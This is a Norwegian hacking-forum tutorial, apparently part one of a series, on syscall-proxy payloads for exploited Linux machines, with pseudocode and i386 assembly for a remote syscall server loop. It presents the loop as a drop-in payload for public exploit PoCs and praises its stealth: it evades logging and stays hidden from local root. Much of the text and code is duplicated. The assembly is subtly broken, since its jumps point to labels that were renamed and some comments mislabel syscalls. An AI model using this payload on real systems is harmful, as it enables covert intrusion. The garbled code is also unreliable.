Del I
Før du begynner å lese denne tråden, vil jeg anbefale følgende artikler:
1. RPC
2. i386 Systemkall
3. Hvordan få kode inn i kjørende applikasjoner
Skal i denne posten beskrive en metode for å få direkte aksess til kernelen til en annen maskin, og ikke måtte overføre forskjellige verktøy eller kalle lokale shell for å eie maskinen. Altså at man slipper alle former for payloads, ved å kun benytte et som gir et interface for alle de andre.
Metoden brukes i flere forskjellige sammenhenger, og er implementert i mange forskjellige verktøy. Deriblant Metasploit (Meterpreter).
Den ble første gang presentert under BlackHat i 2002, og brukes også i clustering av noen operativsystemer - for å raskt spre data over flere maskiner i et cluster.
Systemkall Proxy (syscall proxy) kan enkelt forklares med at du har alle applikasjoner på din egen maskin, men applikasjonenes systemkall blir utført mot en kernel på en annen maskin (enklest å benytte RPC til dette) - og ikke din egen.
Tenk f.eks. en applikasjon skal lese en fil lokalt. En operasjon du gjør flere ganger daglig, faktisk flere ganger i minuttet.
Applikasjonen sender da en stub_open() til sin systemkall klient, klienten sender en systemkall henvendelse til kernelens systemkall server som deretter sender en open() til kernelen som utfører en I/O operasjon mot driveren til disken, og dermed får dataene fra denne.
Men hva hindrer deg i å sende dette til kernelen på en annen maskin istedet, og kommunisere med den kernelens systemkall server?
Veldig lite...
Det å finne exploits er enkelt, bare surf litt på Milw0rm, så her er det altså snakk om hva du kan bytte ut payload i PoC eksempelet med...
Kan først si at Microsoft baserte OS, samt OS som IOS, benytter ikke-transparente systemkall. Man kan derfor ikke benytte systemkallproxymetoden under på samme måte der - men man kan fortsatte gjøre systemkall mot kernelen på disse operativsystemene. Men det blir seende mer ut som shellcode for win32 baserte OS.
Før dere blir blendet av alt det tekniske, kan jeg beskrive litt av potensialet for det over:
Hvis den lokale servicen du hacker gir systemkall proxyen din root tilgang, har du i praksis mer makt enn root. Du kan nemlig styre maskinen og dets prosesser med root tilgang, men lokal root vil aldri se dine prosesser fordi de kjører lokalt på din egen maskin, og systemkall proxyen kjører i minneområdet til den hackede applikasjonen.
Samtidig etterlater du omtrent ingen logger på maskinen, fordi logging gjerne er koblet til lokale applikasjoner og prosesser. Men siden du her ikke kaller '/bin/sh', så vil aldri events herfra bli logget. Du er altså über-root!
Men makten er enda større enn dette også! For hva om sårbarheten du utnytter ikke har tilgang til lokale applikasjoner eller shell? Med denne payloaden kan du fortsatt gjøre systemkall og dermed få tilgang til maskinen opp til et visst nivå (identiske rettigheter som applikasjonsbrukeren til applikasjonen du utnytter).
Så ved å bruke en systemkall proxy øker du tilgangene en sårbarhet eller ville gitt deg.
mwhahahahahaha!!
Så, over til materien.
I eksemplene nedover benytter jeg den samme pseudokoden som ble benyttet på BlackHat i 2002.
Denne beskriver dette konsepetet veldig bra, og samtidig er ikke dette rocketscience - så litt må dere kode selv også
(og er man lat, kan man laste ned systemkall proxyer og kompilere selv etter et par søk på google)
En systemkall server til Linux i pseudokode blir da omtrent:
#1. Først må man sette opp kommunikasjonen. Ref. artikkel 1 øverst.
#2. Kopierer hele henvendelsen fra serverstacken
#3. Blokken med henvendelsen blir sent tilbake til klienten. Dette blir gjort for å returnere eventuelle OUT 3 arguments tilbake
Så kommunikasjon blir da seende omtrent ut som:
(dette er kun en loop med "les henvendelse - prosessering - skriv resultat")
#1. Les henvendelsen rett inn i ESP
#2. POP registers fra toppen av henvendelsen (henvendelsen er i stacken)
#3. Utfør systemkallet. EAX har allerede her systemkall verdien (det var en del av henvendelsen)
#4. Send tilbake svaret på henvendelsen.
Del II vil ta for seg en systemkall proxy for Windows.
Før du begynner å lese denne tråden, vil jeg anbefale følgende artikler:
1. RPC
2. i386 Systemkall
3. Hvordan få kode inn i kjørende applikasjoner
Skal i denne posten beskrive en metode for å få direkte aksess til kernelen til en annen maskin, og ikke måtte overføre forskjellige verktøy eller kalle lokale shell for å eie maskinen. Altså at man slipper alle former for payloads, ved å kun benytte et som gir et interface for alle de andre.
Metoden brukes i flere forskjellige sammenhenger, og er implementert i mange forskjellige verktøy. Deriblant Metasploit (Meterpreter).
Den ble første gang presentert under BlackHat i 2002, og brukes også i clustering av noen operativsystemer - for å raskt spre data over flere maskiner i et cluster.
Systemkall Proxy (syscall proxy) kan enkelt forklares med at du har alle applikasjoner på din egen maskin, men applikasjonenes systemkall blir utført mot en kernel på en annen maskin (enklest å benytte RPC til dette) - og ikke din egen.
Tenk f.eks. en applikasjon skal lese en fil lokalt. En operasjon du gjør flere ganger daglig, faktisk flere ganger i minuttet.
Applikasjonen sender da en stub_open() til sin systemkall klient, klienten sender en systemkall henvendelse til kernelens systemkall server som deretter sender en open() til kernelen som utfører en I/O operasjon mot driveren til disken, og dermed får dataene fra denne.
Men hva hindrer deg i å sende dette til kernelen på en annen maskin istedet, og kommunisere med den kernelens systemkall server?
Veldig lite...
Det å finne exploits er enkelt, bare surf litt på Milw0rm, så her er det altså snakk om hva du kan bytte ut payload i PoC eksempelet med...
Kan først si at Microsoft baserte OS, samt OS som IOS, benytter ikke-transparente systemkall. Man kan derfor ikke benytte systemkallproxymetoden under på samme måte der - men man kan fortsatte gjøre systemkall mot kernelen på disse operativsystemene. Men det blir seende mer ut som shellcode for win32 baserte OS.
Før dere blir blendet av alt det tekniske, kan jeg beskrive litt av potensialet for det over:
Hvis den lokale servicen du hacker gir systemkall proxyen din root tilgang, har du i praksis mer makt enn root. Du kan nemlig styre maskinen og dets prosesser med root tilgang, men lokal root vil aldri se dine prosesser fordi de kjører lokalt på din egen maskin, og systemkall proxyen kjører i minneområdet til den hackede applikasjonen.
Samtidig etterlater du omtrent ingen logger på maskinen, fordi logging gjerne er koblet til lokale applikasjoner og prosesser. Men siden du her ikke kaller '/bin/sh', så vil aldri events herfra bli logget. Du er altså über-root!
Men makten er enda større enn dette også! For hva om sårbarheten du utnytter ikke har tilgang til lokale applikasjoner eller shell? Med denne payloaden kan du fortsatt gjøre systemkall og dermed få tilgang til maskinen opp til et visst nivå (identiske rettigheter som applikasjonsbrukeren til applikasjonen du utnytter).
Så ved å bruke en systemkall proxy øker du tilgangene en sårbarhet eller ville gitt deg.
mwhahahahahaha!!
Så, over til materien.
I eksemplene nedover benytter jeg den samme pseudokoden som ble benyttet på BlackHat i 2002.
Denne beskriver dette konsepetet veldig bra, og samtidig er ikke dette rocketscience - så litt må dere kode selv også
(og er man lat, kan man laste ned systemkall proxyer og kompilere selv etter et par søk på google)
En systemkall server til Linux i pseudokode blir da omtrent:
channel = set_up_communication() [COLOR=Navy]#1.[/COLOR]
channel.send(ESP)
while channel.has_data() do
request = channel.read()
copy request in stack [COLOR=Navy]#2.[/COLOR]
pop registers
int 0x80
push eax
channel.send(stack) [COLOR=Navy]#3.[/COLOR]
channel.send(ESP)
while channel.has_data() do
request = channel.read()
copy request in stack [COLOR=Navy]#2.[/COLOR]
pop registers
int 0x80
push eax
channel.send(stack) [COLOR=Navy]#3.[/COLOR]
Vis hele sitatet...
#2. Kopierer hele henvendelsen fra serverstacken
#3. Blokken med henvendelsen blir sent tilbake til klienten. Dette blir gjort for å returnere eventuelle OUT 3 arguments tilbake
Så kommunikasjon blir da seende omtrent ut som:
(dette er kun en loop med "les henvendelse - prosessering - skriv resultat")
push %ebx # fd
les_henvendelse:
mov %ebp,%esp
push %esp
xor %eax,%eax
movl $4,%edx # count
les_henvendelse2:
mov $3,%al # __NR_les
mov %esp,%ecx # buffer
int $0x80 # ingen error sjekk!
add %eax,%ecx # nytt buffer
sub %eax,%edx # byte som skal leses
jnz read_request2 # gjør if != 0
pop %edx # få antall bytes inn
sub %edx,%esp # hold av plass
les_henvendelse3:
movl $3,%eax # __NR_les
mov %esp,%ecx # buffer
int $0x80 # ingen error sjekk! [COLOR=Navy]#1.[/COLOR]
add %eax,%ecx # nytt buffer
sub %eax,%edx # byte som skal leses
jnz read_request3 # gjør if != 0
do: [COLOR=Navy]#2.[/COLOR]
pop %eax
pop %ebx
pop %ecx
pop %edx
pop %esi
pop %edi
int $0x80 [COLOR=Navy] #3.[/COLOR]
push %edi
push %esi
push %edx
push %ecx
push %ebx
push %eax
do_send_svar:
mov $4,%eax # __NR_les
mov (%ebp),%ebx # fd
mov %esp,%ecx # buffer
mov %ebp,%edx
sub %esp,%edx # count
int $0x80 # ingen error sjekk! [COLOR=Navy] #4.[/COLOR]
jmp les_henvendelse
pop %eax
pop %ebp
les_henvendelse:
mov %ebp,%esp
push %esp
xor %eax,%eax
movl $4,%edx # count
les_henvendelse2:
mov $3,%al # __NR_les
mov %esp,%ecx # buffer
int $0x80 # ingen error sjekk!
add %eax,%ecx # nytt buffer
sub %eax,%edx # byte som skal leses
jnz read_request2 # gjør if != 0
pop %edx # få antall bytes inn
sub %edx,%esp # hold av plass
les_henvendelse3:
movl $3,%eax # __NR_les
mov %esp,%ecx # buffer
int $0x80 # ingen error sjekk! [COLOR=Navy]#1.[/COLOR]
add %eax,%ecx # nytt buffer
sub %eax,%edx # byte som skal leses
jnz read_request3 # gjør if != 0
do: [COLOR=Navy]#2.[/COLOR]
pop %eax
pop %ebx
pop %ecx
pop %edx
pop %esi
pop %edi
int $0x80 [COLOR=Navy] #3.[/COLOR]
push %edi
push %esi
push %edx
push %ecx
push %ebx
push %eax
do_send_svar:
mov $4,%eax # __NR_les
mov (%ebp),%ebx # fd
mov %esp,%ecx # buffer
mov %ebp,%edx
sub %esp,%edx # count
int $0x80 # ingen error sjekk! [COLOR=Navy] #4.[/COLOR]
jmp les_henvendelse
pop %eax
pop %ebp
Vis hele sitatet...
#2. POP registers fra toppen av henvendelsen (henvendelsen er i stacken)
#3. Utfør systemkallet. EAX har allerede her systemkall verdien (det var en del av henvendelsen)
#4. Send tilbake svaret på henvendelsen.
Del II vil ta for seg en systemkall proxy for Windows.